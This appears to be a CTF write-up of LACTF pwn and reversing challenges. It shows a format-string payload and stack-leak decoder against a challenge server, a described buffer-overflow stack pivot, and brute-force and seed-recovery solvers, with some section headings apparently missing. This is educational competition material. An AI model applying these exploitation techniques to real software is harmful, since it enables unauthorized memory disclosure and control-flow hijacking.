LACTF was one of the most fantastic ctf I've played ever.
Unfortunately, I could not spend enough time to solve challenges. I solved 4 reversing challenges, 2 pwn challenges in the last few hours of CTF competition.
2password
As we can see, there's a format-string-bug in main function.
Send format strings to server, and got flag form leaked stack.
[~/dc/ctf/la/2password] >>>nc chall.lac.tf 31142
Enter username: %lx/%lx/%lx/%lx/%lx/%lx/%lx/%lx/%lx/%lx/%lx/%lx/%lx/%lx/%lx/%lx/
Enter password1: Enter password2: a
Incorrect password for user 7ffe10bda030/0/0/5736b18244a8/0/75687b667463616c/66635f327265746e/7d38367a783063/0/0/
leak = "75687b667463616c/66635f327265746e/7d38367a783063"
little = ''.join(leak.split("/")[::-1])
flag = bytes.fromhex(little).decode()[::-1]
print(f"{flag=}")
stage-change
There's a buffer-overflow vulnerability in "vuln".
void vuln(){
char local_buf[0x20];
puts("Hey there, I'm deaddead. Who are you?");
fgets(local_buf, 0x30, stdin);
}
The win function was provided, but there's a validation which check the state value. Of course, the state was initialized in main function, so we have to rewrite before call win function.
void win() {
char filebuf[64];
strcpy(filebuf, "./flag.txt");
FILE* flagfile = fopen("flag.txt", "r");
/* ********** ********** */
// Note this condition in win()
if(state != 0xf1eeee2d) {
puts("\ntoo ded to gib you the flag");
exit(1);
}
/* ********** ********** */
//***print the flag, omit***
}
int main(){
state = 0xdeaddead;
the exploit flow is pivoting the stack and then call fgets() in "vuln" again. Calling fgets with broken rbp which pointed to .data region for example allow us to overwrite into arbitrary address.
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 i; // rsi
unsigned int v4; // eax
int v5; // ecx
int v6; // edx
char v8[6]; // [rsp+0h] [rbp-18h] BYREF
char v9; // [rsp+6h] [rbp-12h]
puts("Welcome to the Tianhuo Research Center.");
printf("Please enter your access code: ");
fflush(stdout);
fgets(v8, 16, stdin);
for ( i = 0LL; i != 6; ++i )
{
v4 = v8[i];
if ( (unsigned __int8)(v8[i] - 32) > 0x5Eu )
goto LABEL_14;
v5 = yi[i];
if ( !v5 )
goto LABEL_14;
v6 = 0;
while ( (v4 & 1) == 0 )
{
++v6;
v4 >>= 1;
if ( v5 == v6 )
goto LABEL_9;
LABEL_6:
if ( v4 == 1 )
goto LABEL_14;
}
++v6;
v4 = 3 * v4 + 1;
if ( v5 != v6 )
goto LABEL_6;
LABEL_9:
if ( v4 != 1 )
goto LABEL_14;
}
if ( !v9 || v9 == 10 )
{
eigong();
return 0;
}
LABEL_14:
puts("ACCESS DENIED");
return 1;
}
The yi array.
just brute-force and find the flag.
def validation(n):
steps = 0
while n != 1:
steps += 1
if n % 2 == 0:
n = n // 2
else:
n = 3 * n + 1
return steps
target_steps = [0x1B, 0x26, 0x57, 0x5F, 0x76, 0x9]
result = []
for i in range(6):
for c in range(32, 127):
steps = validation(c)
if steps == target_steps[i]:
result.append(chr(c))
break
print(''.join(result))
enc = "l_alcotsft{_tihne__ifnlfaign_igtoyt}"
f = ''
l = ''
for i in range(len(enc)):
if i % 2 == 0:
f += enc[i]
else:
l += enc[i]
flag = f + l
print(f"{flag=}")
the-eye(rev, elf)
the main function.
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char *s; // [rsp+0h] [rbp-10h]
int i; // [rsp+Ch] [rbp-4h]
v3 = time(0LL);
srand(v3);
s = (char *)read_msg();
for ( i = 0; i <= 21; ++i )
shuffle(s);
puts(s);
free(s);
return 0;
}
the shuffle function.
__int64 __fastcall shuffle(const char *a1)
{
__int64 result; // rax
unsigned __int8 v2; // [rsp+13h] [rbp-Dh]
int v3; // [rsp+14h] [rbp-Ch]
int i; // [rsp+1Ch] [rbp-4h]
result = (unsigned int)strlen(a1) - 1;
for ( i = result; i >= 0; --i )
{
v3 = rand() % (i + 1);
v2 = a1[i];
a1[i] = a1[v3];
result = v2;
a1[v3] = v2;
}
return result;
}
This program shuffle msg.txt for 22 times. The problem is that we can predict the seed because time(NULL) changes its value every second.
from pwn import *
import time
nc = "nc chall.lac.tf 31313"
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
p = remote(HOST, PORT)
enc = p.recvline()
print(f"{enc=}")
print(f"{time.time()=}")
Get encrypted string from remote server and brute-force seed.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
void rev_shuffle(char *str) {
int len = strlen(str);
int *rs[0x16];
for (int i = 0; i <= 0x15; i++) {
rs[i] = (int *)malloc(len * sizeof(int));
for (int j = len - 1; j >= 0; --j) {
(rs[i])[j] = rand() % (j + 1);
}
}
for (int i = 0x15; i >= 0; i--) {
int *rand_vals = rs[i];
for (int j = 0; j < len; j++) {
int v3 = rand_vals[j];
char v2 = str[v3];
str[v3] = str[j];
str[j] = v2;
}
}
for (int i = 0; i <= 0x15; i++) {
free(rs[i]);
}
}
int main() {
char enc[] = "lntdsdeegt psalp_htewoenWti c ga-rl rp oeit ahtsoagsia rmhts mddth exnosa tvmeseedrenrTiea eadgrtltieantaah.dy a dsssouhsu dheei ramelinuh t s dehia,aohssdo,polmpm t;oe_ttp l morhw.e_tgoe acarstievsvftsaefhrnewet,olda n{slnn. uhy estatntst om,x s sr oraeeh a ges tsntaf n trhda mhnfbe elheaee at cyte stvruyn_enEtiin endranel buemedt air iei sd enaeeilo-l erirutir eat asaclh soeel aotea_l yasrsetinnccoa sgomnei lnhgscecy h yftettraah di euu nn2d Hnoni l aeiluitrghsn a d treahosgiiute? g cnsa iea.teuWseeflceee cis hpiml ,ycp ottyapmpios}ety tmhnroeo e assruiEs2ee lnnoyhms eaoogeetysgpto ra cc nxeaeaexantn ephevn oe r vgnplHedtpydt ere Nne ihlneOrd it,genieu ,ertr_c sa_slftnccsoxiweA tdeisd tnfseac r rppo hei";
time_t seed =1739111698;
char tmp[1024]={0};
for (int i = 0; i < 5; i++) {
for (int i = 0;i < 1024; i++) {
tmp[i] = 0;
}
strcpy(tmp, enc);
srand(seed);
rev_shuffle(tmp);
printf("Timestamp: %ld\n", seed);
printf("Result: %s\n\n", tmp);
seed--;
}
return 0;
}